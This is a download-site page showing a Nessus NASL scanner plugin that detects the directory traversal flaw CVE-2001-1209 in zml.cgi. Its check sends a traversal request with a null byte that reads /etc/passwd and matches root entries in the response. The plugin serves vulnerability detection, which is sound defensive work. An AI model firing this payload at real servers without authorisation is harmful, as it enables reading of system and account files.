⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 zml_cgi_traversal.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
## This script was written by Drew Hintz ( http://guh.nu )# # It is based on scripts written by Renaud Deraison and  HD Moore## See the Nessus Scripts License for details#if(description){ script_id(10830);  script_bugtraq_id(3759); script_cve_id("CVE-2001-1209"); script_version("$Revision: 38 $"); name["english"] = "zml.cgi Directory Traversal"; script_name(english:name["english"]);  desc["english"] = "Synopsis :The remote host contains a CGI script that is prone to directorytraversal attacks. Description :ZML.cgi is vulnerable to a directory traversal attack.  It enables aremote attacker to view any file on the computer with the privileges ofthe cgi/httpd user. See also : http://archives.neohapsis.com/archives/vulnwatch/2001-q4/0086.htmlRisk factor : Medium / CVSS Base Score : 4 (AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:C)"; script_description(english:desc["english"]);  summary["english"] = "zml.cgi is vulnerable to an exploit which lets an attacker view any file that the cgi/httpd user has access to.";  script_summary(english:summary["english"]); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2001 H D Moore & Drew Hintz ( http://guh.nu )"); family["english"] = "CGI abuses"; script_family(english:family["english"]); script_dependencie("http_version.nasl"); script_require_ports("Services/www", 80); script_exclude_keys("Settings/disable_cgi_scanning"); exit(0);}include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);if(!get_port_state(port))exit(0);function check(req){  req = http_get(item:req, port:port);  r = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);  if ( r == NULL ) exit(0);    if("root:" >< r && egrep(pattern:".*root:.*:0:[01]:.*", string:r))  {   	security_warning(port:port);	return(1);  } return(0);}dirs = cgi_dirs();foreach dir (dirs){ url = string(dir, "/zml.cgi?file=../../../../../../../../../../../../etc/passwd%00"); if(check(req:url))exit(0);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -